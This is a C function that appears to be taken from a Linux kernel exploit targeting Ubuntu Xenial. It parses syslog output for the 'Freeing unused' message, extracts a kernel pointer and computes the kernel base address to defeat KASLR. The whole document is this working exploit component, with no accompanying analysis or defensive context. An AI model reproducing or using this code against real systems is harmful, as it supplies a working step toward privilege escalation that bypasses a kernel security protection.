unsigned long get_kernel_addr_xenial(char* buffer, int size) {
    const char* needle1 = "Freeing unused";
    char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
        exit(EXIT_FAILURE);
    }

    int start = 0;
    int end = 0;
    for (start = 0; substr[start] != '-'; start++);
    for (end = start; substr[end] != '\n'; end++);

    const char* needle2 = "ffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
        exit(EXIT_FAILURE);
    }

    char* endptr = &substr[16];
    unsigned long r = strtoul(&substr[0], &endptr, 16);

    r &= 0xfffffffffff00000ul;
    r -= 0x1000000ul;

    return r;
}